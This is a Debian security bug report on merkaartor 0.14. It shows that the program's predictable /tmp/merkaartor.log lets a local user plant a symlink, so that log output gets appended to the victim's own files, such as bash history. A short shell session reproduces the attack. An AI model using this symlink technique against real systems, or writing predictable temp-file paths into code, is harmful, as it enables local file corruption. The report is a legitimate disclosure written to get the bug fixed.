Package: merkaartor Version: 0.14+svnfixes~20090912-1 Severity: important Tags: security
Found a minor symlink attack in merkaartor. It allows a local attacker to append the contents of the merkaartor log file to arbitrary files owned by the user running merkaartor. It may be used to DoS any applications that require their data files to be valid before starting. While no data loss is immediately obvious, it is possible that corrupting files by appending data could lead other software to destroy the newly corrupted data. An example of this could be bash. A merkaartor log file can be fairly long if the user has enabled map tile downloads and browses a large area and lots of tiles over one map editing session. Merkaartor would append many lines to the user's bash history and next time they start bash, their bash history could be larger than bash's history limit settings, then bash would take the latest lines (all merkaartor logs) and discard the legitimate bash history. Steps to reproduce: p...@chianamo:~/tmp$ sudo rm -f /tmp/merkaartor.log /home/pabs/tmp/foo.log p...@chianamo:~/tmp$ sudo su -c 'ln -s /home/pabs/tmp/foo.log /tmp/merkaartor.log' nobody p...@chianamo:~/tmp$ ls -l /home/pabs/tmp/foo.log /tmp/merkaartor.log ls: cannot access /home/pabs/tmp/foo.log: No such file or directory lrwxrwxrwx 1 nobody nogroup 22 2009-09-27 11:49 /tmp/merkaartor.log -> /home/pabs/tmp/foo.log p...@chianamo:~/tmp$ merkaartor **** "2009-09-27T11:49:39" -- Starting "Merkaartor 0.14" ------- "using QT version 4.5.2 (built with 4.5.2)" ------- on X11 **** "2009-09-27T11:49:42" -- Ending "Merkaartor 0.14" p...@chianamo:~/tmp$ ls -l /home/pabs/tmp/foo.log /tmp/merkaartor.log -rw-r----- 1 pabs pabs 189 2009-09-27 11:49 /home/pabs/tmp/foo.log lrwxrwxrwx 1 nobody nogroup 22 2009-09-27 11:49 /tmp/merkaartor.log -> /home/pabs/tmp/foo.log p...@chianamo:~/tmp$ cat /home/pabs/tmp/foo.log **** "2009-09-27T11:49:39" -- Starting "Merkaartor 0.14" ------- "using QT version 4.5.2 (built with 4.5.2)" ------- on X11 **** "2009-09-27T11:49:42" -- Ending "Merkaartor 0.14" p...@chianamo:~/tmp$ echo test > foo.log p...@chianamo:~/tmp$ cat /home/pabs/tmp/foo.log test p...@chianamo:~/tmp$ merkaartor **** "2009-09-27T11:50:20" -- Starting "Merkaartor 0.14" ------- "using QT version 4.5.2 (built with 4.5.2)" ------- on X11 **** "2009-09-27T11:50:24" -- Ending "Merkaartor 0.14" p...@chianamo:~/tmp$ cat /home/pabs/tmp/foo.log test **** "2009-09-27T11:50:20" -- Starting "Merkaartor 0.14" ------- "using QT version 4.5.2 (built with 4.5.2)" ------- on X11 **** "2009-09-27T11:50:24" -- Ending "Merkaartor 0.14" p...@chianamo:~/tmp$ ls -l /home/pabs/tmp/foo.log /tmp/merkaartor.log -rw-r----- 1 pabs pabs 194 2009-09-27 11:50 /home/pabs/tmp/foo.log lrwxrwxrwx 1 nobody nogroup 22 2009-09-27 11:49 /tmp/merkaartor.log -> /home/pabs/tmp/foo.log -- System Information: Debian Release: squeeze/sid APT prefers testing APT policy: (700, 'testing'), (600, 'unstable'), (550, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.30-2-amd64 (SMP w/2 CPU cores) Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages merkaartor depends on: ii libc6 2.9-25 GNU C Library: Shared libraries ii libexiv2-5 0.18.2-1+b1 EXIF/IPTC metadata manipulation li ii libgcc1 1:4.4.1-1 GCC support library ii libgdal1-1.6.0 1.6.2-1 Geospatial Data Abstraction Librar ii libqt4-network 4:4.5.2-2 Qt 4 network module ii libqt4-svg 4:4.5.2-2 Qt 4 SVG module ii libqt4-webkit 4:4.5.2-2 Qt 4 WebKit module ii libqt4-xml 4:4.5.2-2 Qt 4 XML module ii libqtcore4 4:4.5.2-2 Qt 4 core module ii libqtgui4 4:4.5.2-2 Qt 4 GUI module ii libstdc++6 4.4.1-1 The GNU Standard C++ Library v3 ii zlib1g 1:1.2.3.3.dfsg-15 compression library - runtime -- bye, pabs http://wiki.debian.org/PaulWise
signature.asc
Description: This is a digitally signed message part
